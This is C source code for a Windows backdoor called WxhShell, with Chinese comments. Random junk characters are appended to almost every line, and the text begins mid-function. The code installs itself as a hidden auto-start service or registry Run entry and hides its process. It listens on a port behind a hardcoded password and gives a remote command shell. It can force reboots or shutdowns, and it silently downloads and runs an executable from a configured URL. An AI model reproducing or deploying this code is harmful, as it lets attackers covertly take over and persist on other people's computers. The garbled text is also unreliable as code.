    else { )f0t"lk  
    closesocket(wsh); eESJk 14  
    ExitThread(0); -3c?Yaf"  
    } PV%7 m7=x  
    break; z|SLH<~  
    } R3$e q )  
  // 获取shell %8+'L4  
  case 's': { +x0-hRD  
    CmdShell(wsh); %+9Mr ami  
    closesocket(wsh); 2FS,B\d  
    ExitThread(0); ;wz YZ5=Di  
    break; l$Y7CIH  
  } %-:6#b z  
  // 退出 l>M&S^/s j  
  case 'x': { @Tr8.4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vf(\?Js ,  
    CloseIt(wsh); T{j&w%(z  
    break; _>*$%R  
    } A_@#V)D2  
  // 离开 LE!3'^Zq  
  case 'q': { E-i rB/0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @hWt.qO3s  
    closesocket(wsh); {j E}mzi  
    WSACleanup(); Y0U<l1(|  
    exit(1); ^YKEc0"w(  
    break; h^bbU.  
        } Ydu=J g5u7  
  } Qp${/  
  } J%_ :A"  
]#[ R^t  
  // 提示信息 6?ylSQ]1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OY6l t.t  
} d7tH~9GX8  
  } cX553&  
b07 MTDFH7  
  return; i3>7R'q>  
} qGgT<Rd~1  
Zcv1%hI  
// shell模块句柄 )fR'1_  
int CmdShell(SOCKET sock) o% !a  
{ %Ow,.+m  
STARTUPINFO si; 1NT@}j~/  
ZeroMemory(&si,sizeof(si)); z/N~HSh!d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <$HP"f+<S5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /'p(X~X:l  
PROCESS_INFORMATION ProcessInfo; 'LR5s[$j  
char cmdline[]="cmd"; '8wA+N6Zr7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m ^Btr  
  return 0; 5"6Y=AuQ6  
} [:sV;37s  
l>S~)FNwXJ  
// 自身启动模式 ;Zc(qA  
int StartFromService(void) y#^d8 }+  
{ kL,AY-Iu{@  
typedef struct Yt7R[|  
{ {cKKTDN  
  DWORD ExitStatus; N/mTG2'<  
  DWORD PebBaseAddress; C jsy1gA  
  DWORD AffinityMask; O%y.  
  DWORD BasePriority; hIC$4lR~  
  ULONG UniqueProcessId; X5527`?e  
  ULONG InheritedFromUniqueProcessId; izow=}  
}   PROCESS_BASIC_INFORMATION;  &jf:7y  
BD9W-mF  
PROCNTQSIP NtQueryInformationProcess; SV}I+O_w  
W :jC2,s!m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gz-}nCSi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y+sycdq  
c63DuHA*C  
  HANDLE             hProcess; F%t`dz!L  
  PROCESS_BASIC_INFORMATION pbi; r+;op_  
c Q|nL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DnP>ed"M!  
  if(NULL == hInst ) return 0; a&p|>,WS  
j}'spKxu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5EIh5Y EU>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <MI>>$seiJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (5re'Pl  
cRK1JxU  
  if (!NtQueryInformationProcess) return 0; [GX5jD#  
4}Y2 B$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _1 f!9ghT\  
  if(!hProcess) return 0; \SS1-UbL  
<|~X,g;f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <l(LQmM;  
N)03{$WM  
  CloseHandle(hProcess); $uF} GP_)  
*f=H#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f3]Z22Yq  
if(hProcess==NULL) return 0; r:2G11[  
gh|TlvnA  
HMODULE hMod; m@R!o  
char procName[255]; )Y+n4UL3NK  
unsigned long cbNeeded; c%yhODq/  
(V)nHF*<>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (4L XoNT  
F??})YX  
  CloseHandle(hProcess); o nt8q8  
D$+9`  
if(strstr(procName,"services")) return 1; // 以服务启动 T$)&8"Xya  
+Fp8cT=1  
  return 0; // 注册表启动 Fx*iAH\e  
} H[UV]qO,  
-uXf?sTV  
// 主模块 (;;%B=  
int StartWxhshell(LPSTR lpCmdLine) *Fb]lM7D  
{ k*d0ws#<l  
  SOCKET wsl; @k>}h\w  
BOOL val=TRUE; %{WS7(si  
  int port=0; Pk!RgoWF  
  struct sockaddr_in door; Eq=~SO%  
OZ3iH%  
  if(wscfg.ws_autoins) Install(); -/Pg[Lx7Pb  
HKbyi~8N=  
port=atoi(lpCmdLine); $n\{6Rwb  
1%68Pnqk  
if(port<=0) port=wscfg.ws_port; ABw:SQ6=Q  
 eme7y  
  WSADATA data; E*'sk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kAA1+rG  
:*Lr(-N-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7)tkqfb]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~v"4;A 6  
  door.sin_family = AF_INET; @&p:J0hbp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uT:'Kkb!  
  door.sin_port = htons(port); :jlKj}4A  
3oc p4x`[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E1IT>_  
closesocket(wsl); Ybo:2e  
return 1; 4u- mE  
} #m=TK7*v  
vVQwuV  
  if(listen(wsl,2) == INVALID_SOCKET) { \!M6-kmi  
closesocket(wsl); S-l<+O1fy  
return 1; q#B=PZ'NA  
} Ut.%=o;&[  
  Wxhshell(wsl); m/@ ;N,K  
  WSACleanup(); !Hq$7j_  
4zyN>f|  
return 0; OGW,[k= 2{  
A!B: vJ  
} /9T.]H ~  
_)-t#Ve  
// 以NT服务方式启动 3m%oXT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j5\z7  
{ M3 MB{cA2  
DWORD   status = 0; q@k/"ee*?  
  DWORD   specificError = 0xfffffff; mq 0d ea  
K!W7a~ @  
  serviceStatus.dwServiceType     = SERVICE_WIN32; czNi)4x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \#Md3!MG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  2%4u/  
  serviceStatus.dwWin32ExitCode     = 0; E2dl}S zp  
  serviceStatus.dwServiceSpecificExitCode = 0; 6S K;1Bp-{  
  serviceStatus.dwCheckPoint       = 0; ymH>] cUm  
  serviceStatus.dwWaitHint       = 0; m1bkY#\ U|  
[g )HoR=&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y7pwYRY  
  if (hServiceStatusHandle==0) return; Z~R7 G  
y5/frJ  
status = GetLastError(); s0r::yO  
  if (status!=NO_ERROR) c8z6-6`i0  
{ Wh).%K(t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s&v7<)*q  
    serviceStatus.dwCheckPoint       = 0; Uh[MB wK  
    serviceStatus.dwWaitHint       = 0; ` 1Ui  
    serviceStatus.dwWin32ExitCode     = status; ;]v{3m  
    serviceStatus.dwServiceSpecificExitCode = specificError; |5il5UP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7v'aw"~  
    return; J9aqmQj('  
  } 0'wchy>  
xB5qX7*.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p>#sR4d>  
  serviceStatus.dwCheckPoint       = 0; Q1kZ+b&  
  serviceStatus.dwWaitHint       = 0; (\8IgQ{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^mH:8_=(.  
} To/6=$wto  
x%h4'Sm  
// 处理NT服务事件,比如:启动、停止 W%ml/ 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1t+uMhy*y  
{ L6d^e53AP  
switch(fdwControl) -@7?N6~qZx  
{ CFK{.{d]B  
case SERVICE_CONTROL_STOP: |P_voht  
  serviceStatus.dwWin32ExitCode = 0; 3+[;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~8JOPzK  
  serviceStatus.dwCheckPoint   = 0; '=AqC,\#  
  serviceStatus.dwWaitHint     = 0; {CH5`&  
  { %CoO-1@C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )FQxVT,.  
  } c r,fyAvX  
  return; Qg6tJB   
case SERVICE_CONTROL_PAUSE: xAwP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t,NE`LC  
  break; tJe5`L  
case SERVICE_CONTROL_CONTINUE: -HwqR Y s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y^0 mf|  
  break; gQQve{'  
case SERVICE_CONTROL_INTERROGATE: xig4H7V  
  break; q$7w?(Lk  
}; V36u%zdX5n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_T6  
} i/{dD"HwM  
h 8<s(WR  
// 标准应用程序主函数 P*|qbY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y3XR:d1cg  
{ }|UTwjquBD  
Vp$<@Y  
// 获取操作系统版本 /np05XhEa  
OsIsNt=GetOsVer(); G^ShN45   
GetModuleFileName(NULL,ExeFile,MAX_PATH); :3N6Ej  
VwN=AFk Oj  
  // 从命令行安装 \h>6k  
  if(strpbrk(lpCmdLine,"iI")) Install(); f_|pl^  
 h3 e %(a  
  // 下载执行文件 %OJ"@6A  
if(wscfg.ws_downexe) { DX0#q #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cb=ixn  
  WinExec(wscfg.ws_filenam,SW_HIDE); fJ  GwT  
} &>n:7  
ffW-R)U|3  
if(!OsIsNt) { l&|Tb8_'  
// 如果时win9x,隐藏进程并且设置为注册表启动 g es-nG-  
HideProc(); lb{X6_.  
StartWxhshell(lpCmdLine); !c"EgP+  
} rF$ S  
else qWU59:d^{  
  if(StartFromService()) y@h v#;  
  // 以服务方式启动 Xv+!) j<  
  StartServiceCtrlDispatcher(DispatchTable); QVF561Yz  
else yi8AzUW cW  
  // 普通方式启动 fBb:J+  
  StartWxhshell(lpCmdLine); /&H l62Ak  
Fs}B\R/J  
return 0; w1EB>!<;tj  
} 5KNa-\  
6W< Ig;  
j/8q  
CZ!gu Y=  
=========================================== w7E#mdW  
U#x`u|L&6  
~OMo$qt`lP  
|H(i)yu"5'  
# uy^AC$  
N(e>]ui  
" a51}~V1  
)j QrD`  
#include <stdio.h> iu9+1+-  
#include <string.h> R2==<"gq  
#include <windows.h> dy~M5,zn  
#include <winsock2.h> ;Kh[6{W  
#include <winsvc.h> 8%`h:fE  
#include <urlmon.h> %J+ w9Z  
 Spw^h=o  
#pragma comment (lib, "Ws2_32.lib") 9!PM1<p  
#pragma comment (lib, "urlmon.lib") "yK)9F[9Mo  
I^)_rOgM  
#define MAX_USER   100 // 最大客户端连接数 Rzyaicj^c  
#define BUF_SOCK   200 // sock buffer .NJ Ne  
#define KEY_BUFF   255 // 输入 buffer th{ie2$  
E9w"?_A)  
#define REBOOT     0   // 重启 IrIW>r} -  
#define SHUTDOWN   1   // 关机 l*Q OM  
V`0Y p  
#define DEF_PORT   5000 // 监听端口 iA|n\a~ny,  
hh$i1n  
#define REG_LEN     16   // 注册表键长度 NxzAlu  
#define SVC_LEN     80   // NT服务名长度 24po}nrO  
sDvy(5  
// 从dll定义API cJ>^@pd{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sC ?e%B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r3Kx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /g1;`F(MS/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~<}?pDA}~  
o{' J O3  
// wxhshell配置信息 /eBcPu"[Vb  
struct WSCFG { ? <w[ZWytm  
  int ws_port;         // 监听端口 'JO}6 ;W  
  char ws_passstr[REG_LEN]; // 口令 |fb*<o eT  
  int ws_autoins;       // 安装标记, 1=yes 0=no *&5./WEOH  
  char ws_regname[REG_LEN]; // 注册表键名 E*yot[kj  
  char ws_svcname[REG_LEN]; // 服务名 k!T-X2L=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [,Y;#;   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7CCSG{k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a *bc#!e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @7t*X-P.;-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4<- E0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l}FA&c"  
W6)XMl}n  
}; x&N@R?AG1  
gF]IAZCi  
// default Wxhshell configuration P@<K&S+f  
struct WSCFG wscfg={DEF_PORT, " ;o, D  
    "xuhuanlingzhe", @7sHFwtar?  
    1, ,D.@6 bJW  
    "Wxhshell", 2h) *  
    "Wxhshell", OTEx9  
            "WxhShell Service", j'XND`3  
    "Wrsky Windows CmdShell Service", w[uw hd  
    "Please Input Your Password: ", %+dRjG~TB  
  1, 6|Crc$4l  
  "http://www.wrsky.com/wxhshell.exe", "Z"`X3,-z  
  "Wxhshell.exe"  "2 }n(8  
    }; PkOtg[Z  
ZC&~InN  
// 消息定义模块 9?|m ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .4!wp&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ioslarw1J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xw*/8.Md6f  
char *msg_ws_ext="\n\rExit."; 0a+U >S#  
char *msg_ws_end="\n\rQuit."; C?rb}(m  
char *msg_ws_boot="\n\rReboot..."; ']sIU;h3  
char *msg_ws_poff="\n\rShutdown..."; ZV!*ZpTe~  
char *msg_ws_down="\n\rSave to "; 2bf#L?5g/  
Ut(BQM>U+$  
char *msg_ws_err="\n\rErr!"; b:&= W>r  
char *msg_ws_ok="\n\rOK!"; >BjZ{7?Ok  
hAB:;r XlI  
char ExeFile[MAX_PATH]; 3ZAzv en  
int nUser = 0; Z"G?+gM@  
HANDLE handles[MAX_USER]; ^.[+)0I  
int OsIsNt; WWA!_  
S3dcE"hg  
SERVICE_STATUS       serviceStatus; Egl1$,e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3H5<w4yk  
7': <I- Fm  
// 函数声明 <*opVy^  
int Install(void); %%Wn:c>  
int Uninstall(void); 1k)`C<l  
int DownloadFile(char *sURL, SOCKET wsh); O.?q8T)n82  
int Boot(int flag); PR>%@-Vgj  
void HideProc(void); mTa^At"  
int GetOsVer(void); V/8yW3]Xy  
int Wxhshell(SOCKET wsl); <h~_7Dn  
void TalkWithClient(void *cs); "'c =(P  
int CmdShell(SOCKET sock); sv*xO7D.  
int StartFromService(void); h-@_.&P0e  
int StartWxhshell(LPSTR lpCmdLine); a{iG0T.{Yh  
c+u) C%g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e pAC%a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5dLb`G f  
lW@i,1  
// 数据结构和表定义 HTP~5J  
SERVICE_TABLE_ENTRY DispatchTable[] = vFGVz  
{ ,) }-mu  
{wscfg.ws_svcname, NTServiceMain}, iu'rc/=V  
{NULL, NULL} 3]/Y= A  
}; `{\10j*B  
SA6.g2pFz  
// 自我安装 j"<F?k@`Q  
int Install(void) [u8JqX  
{ V[">SiOg  
  char svExeFile[MAX_PATH]; 1L.yh U\  
  HKEY key; -GL-&^3IjH  
  strcpy(svExeFile,ExeFile); f>+:UGmP  
oz?6$oE(bt  
// 如果是win9x系统,修改注册表设为自启动 M+\LH  
if(!OsIsNt) { 5?MKx!%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !%YV0O0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :;Wh!8+j  
  RegCloseKey(key); G6j9,#2@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $!"*h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p:qj.ukw  
  RegCloseKey(key); ^ `Y1   
  return 0; 9Dx9alJR  
    } }!Xj{Eoc  
  } xW'(]Z7_  
} -cWxS{vO  
else { n]%yf9,w  
E9S&UU,K  
// 如果是NT以上系统,安装为系统服务 [3hOc/]s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h+Tt+ Q\  
if (schSCManager!=0) f<( ysl1[  
{ 4+r26S,T  
  SC_HANDLE schService = CreateService Psu*t%nQ?A  
  ( Gw Z(3  
  schSCManager, btU:=6  
  wscfg.ws_svcname, @c{b\is2  
  wscfg.ws_svcdisp, o*|j}hnbv  
  SERVICE_ALL_ACCESS, }Gm/9@oKc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,46k8%WW  
  SERVICE_AUTO_START, }Z\PE0  
  SERVICE_ERROR_NORMAL, 0Bhf(5  
  svExeFile, Q u@T}Ci  
  NULL, +wg|~Lef h  
  NULL, ( cqVCys  
  NULL, $F86Dwd  
  NULL, 5J<ghv>\P  
  NULL S%m$LM]NCg  
  ); eI*o9k$Qs  
  if (schService!=0) :w 4Sba3  
  { NX:i]t  
  CloseServiceHandle(schService); 2M+'9 +k~  
  CloseServiceHandle(schSCManager); k M' :.QT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E:ocx2dp  
  strcat(svExeFile,wscfg.ws_svcname); = eDi8A*~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Syr{|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AIFI@#3  
  RegCloseKey(key); /0qLMlL$  
  return 0; B@2VI 1%  
    } >~k"C,6  
  } YV>]c9!q  
  CloseServiceHandle(schSCManager); X Sw0t8  
} 2N:|BO>  
} cp>1b8l6?  
/__@a&9t  
return 1; o Kfm=TbY  
} JA~v:ec  
k),.  
// 自我卸载 cfd7)(6  
int Uninstall(void) !z]2+  
{ 2bk~6Osp  
  HKEY key; pT`oC&  
`aW>h8$I)  
if(!OsIsNt) { ^5 sO;vf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v5;V$EGD&  
  RegDeleteValue(key,wscfg.ws_regname); %Cz&7qf"  
  RegCloseKey(key); na1*^S`[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I ;Sm<P7*  
  RegDeleteValue(key,wscfg.ws_regname); ? @Y'_f  
  RegCloseKey(key); <wZ2S3RNA  
  return 0; N3J;_=<4  
  } |B;tv#mKD  
} :v!e8kM\x  
} 9I;d>%  
else { ]hL `HP  
t$lO~~atr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zg2}R4h  
if (schSCManager!=0) ]e+88eQ  
{ ?W(>Yefk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z.q^`01/H  
  if (schService!=0) 5dE@ePO[/9  
  { M &g1'zv?/  
  if(DeleteService(schService)!=0) { 3b2[i,m<L  
  CloseServiceHandle(schService); lef,-{X-  
  CloseServiceHandle(schSCManager); R6A{u(  
  return 0; `i,l)X]  
  } *Jy'3o  
  CloseServiceHandle(schService); ZYy?JDAO  
  } |aovZ/b4  
  CloseServiceHandle(schSCManager); :Ej#qYi  
} )E.!jL:g  
} rVE!mi]%  
Pn*+g!`  
return 1; ROyG+dUy  
} As;@T$G  
~<?+(V^D  
// 从指定url下载文件 ,33[/j  
int DownloadFile(char *sURL, SOCKET wsh) L:ox$RU  
{ $6ev K~  
  HRESULT hr;  ju-tx :  
char seps[]= "/"; )oRF/Xx`g  
char *token; B8Cic\2  
char *file; WDC+Jmlgp  
char myURL[MAX_PATH]; 1@)kNg)*$  
char myFILE[MAX_PATH]; ' R!pc  
6{ql.2 Fa  
strcpy(myURL,sURL); ]c.1&OB7o  
  token=strtok(myURL,seps); 1yS [;  
  while(token!=NULL) W'BB FG  
  { .m&JRzzV  
    file=token; *t JgQ[  
  token=strtok(NULL,seps); vjcG F'-  
  } Pde|$!Jo  
2L<iIBSJwm  
GetCurrentDirectory(MAX_PATH,myFILE); Be=J*D!E=>  
strcat(myFILE, "\\"); H <|ilL'fX  
strcat(myFILE, file); kf8-#Q/B  
  send(wsh,myFILE,strlen(myFILE),0); GxL;@%B  
send(wsh,"...",3,0); R;wq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *oC],4y~D  
  if(hr==S_OK) xV_,R'l  
return 0; f.%mp$~T  
else .>Gnb2  
return 1; LX [_6  
\{HbL,s  
} gkJL=,  
QxSJLi7t  
// 系统电源模块 h~]G6>D9)>  
int Boot(int flag) OO Hw-MW  
{ ]ZD W+<  
  HANDLE hToken; `u z R!^X  
  TOKEN_PRIVILEGES tkp; "B~c/%#PH  
'@$YX*[  
  if(OsIsNt) { 0UJ% tPS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WU wH W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); []'gIF  
    tkp.PrivilegeCount = 1; H]6i1j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2qw-:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EqN<""2  
if(flag==REBOOT) { FUVoKX! #  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |a3v!va  
  return 0;  `UC  
} #Sxk[[KwH*  
else { cjf 8N:4N0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6zmt^U   
  return 0; %V,2,NCd  
} ,cgFdOM.  
  } MX@t[{Gg9  
  else { :!SVpCt3  
if(flag==REBOOT) { Wchu-]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) toq/G,N Q  
  return 0; @H{QHi  
} NUlp4i~Q  
else { D5o[z:V7"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S>-x<'Os  
  return 0; Z*+0gJ<Y  
} i `m&X6)\j  
} ?ztI8 I/  
JHxy_<p/  
return 1; /s@t-gTi  
} 4pvT?s>68  
w\"~ *(M  
// win9x进程隐藏模块 -C]k YQ  
void HideProc(void) #41xzN  
{ ^#|Sl D]  
@/MI Oxg[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /6=IL  
  if ( hKernel != NULL ) UZ5O%SF  
  { skd3E4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q[j'FtP%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e -!6m #0  
    FreeLibrary(hKernel); iKJ-$x_5  
  } kLsp0% 2  
WH>=*\  
return; <G};`}$a  
} U$*AV<{%   
jGg,)~)Y  
// 获取操作系统版本 wzXIEWJ  
int GetOsVer(void) ?QDHEC62  
{ y*F !k{P  
  OSVERSIONINFO winfo; XniPNU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JPH! .@  
  GetVersionEx(&winfo); <r9L-4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '|I8byiK  
  return 1; xRX2u_f$<  
  else Qm-I=Rh+  
  return 0; jW,b"[  
} 9HsiAi*  
3V(]*\L  
// 客户端句柄模块 ~.Wlv;  
int Wxhshell(SOCKET wsl) jmp0 %:+L  
{ pZ_zyI#wx_  
  SOCKET wsh; F@]9 oF  
  struct sockaddr_in client; )j/2Z-Ev:W  
  DWORD myID; :w!A_~ w2  
_>8rTk`/h  
  while(nUser<MAX_USER) _#UiY ffa*  
{ 9QQiIi$74U  
  int nSize=sizeof(client); L;7u0Yg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wc*jTip  
  if(wsh==INVALID_SOCKET) return 1; V-{3)6I$hG  
R ]h3a :ic  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b<\2j5  
if(handles[nUser]==0) ME0vXi  
  closesocket(wsh); .+07 Ui]I!  
else -JEiwi,  
  nUser++; J~]Y  
  } oe'f?IY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %,1xOl4l  
"t.Jv%0=  
  return 0; H zMr  
} 9{GEq@`7  
|erG cKk  
// 关闭 socket yTxrbE  
void CloseIt(SOCKET wsh) Vktc  
{ )+ V)]dS@%  
closesocket(wsh); o=nF.y  
nUser--; qj7 }]T_  
ExitThread(0); W?F Q  
} x5(6U>-Y  
Y&XO:jB  
// 客户端请求句柄 0h=}BCb+i  
void TalkWithClient(void *cs) WYUel4Z  
{ (GW"iL#.  
`<Q[$z  
  SOCKET wsh=(SOCKET)cs; kl~)<,/@  
  char pwd[SVC_LEN]; UkTq0-N;2  
  char cmd[KEY_BUFF]; Ke;eI+P[  
char chr[1]; @!Z1*a.  
int i,j; H|IG"JB  
}Q?a6(4  
  while (nUser < MAX_USER) { 83adnm  
I}jem  
if(wscfg.ws_passstr) { 2Ij,OIcdBE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Op'&c0l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~m'8<B5+  
  //ZeroMemory(pwd,KEY_BUFF); d=p=eUd2  
      i=0; *mJ\Tzc)  
  while(i<SVC_LEN) { 64L;np>  
f<{f/lU@  
  // 设置超时 2oF1do;  
  fd_set FdRead; Dr)jB*yK  
  struct timeval TimeOut; .OpG2P  
  FD_ZERO(&FdRead); .6LlkM6[g  
  FD_SET(wsh,&FdRead); Eq?U$eE  
  TimeOut.tv_sec=8; I/*^s  
  TimeOut.tv_usec=0; SHYbQF2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LVNA`|>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nWes,K6T  
HU/2P`DGP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '~9w<dSB!r  
  pwd=chr[0]; `Frr?.3&-  
  if(chr[0]==0xd || chr[0]==0xa) { L)n_  Q  
  pwd=0; | .gE9'"bv  
  break; ``-pjD(t  
  } \ iA'^69  
  i++; jL7r1pu5  
    } sVpET  
&P,uK+C4  
  // 如果是非法用户,关闭 socket ' Tk4P{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l>?f+70  
} HUChg{[  
<L('RgA@X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~: fSD0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ou4 `#7FR  
%>y`VN D  
while(1) { ' <?=!&\D  
#N$\d4q9  
  ZeroMemory(cmd,KEY_BUFF); m^~5Xr"  
D/ VEl{ba-  
      // 自动支持客户端 telnet标准   b BiTAP  
  j=0; r8tW)"?  
  while(j<KEY_BUFF) { lWn}afI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6V"u ovN2  
  cmd[j]=chr[0]; T/.UMw  
  if(chr[0]==0xa || chr[0]==0xd) { O ^!Bc}$  
  cmd[j]=0; 0 @um  
  break; !9{hbmF#  
  } )MF 4b ][  
  j++; :-WNw n  
    } 2q(gWhcj  
44s 9\  
  // 下载文件 8`wKq6  
  if(strstr(cmd,"http://")) { WD_{bd)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yEos$/*u-N  
  if(DownloadFile(cmd,wsh)) |~ytAyw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JeN]sK)8x  
  else % H<@Y$r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A0Q`Aqs  
  } +_{cq@c  
  else { !RPE-S  
F!phTu  
    switch(cmd[0]) { j sD]v)LB  
  C=(Q0-+L|  
  // 帮助 (?g+.]Dt,  
  case '?': { 4x<H=CJC  
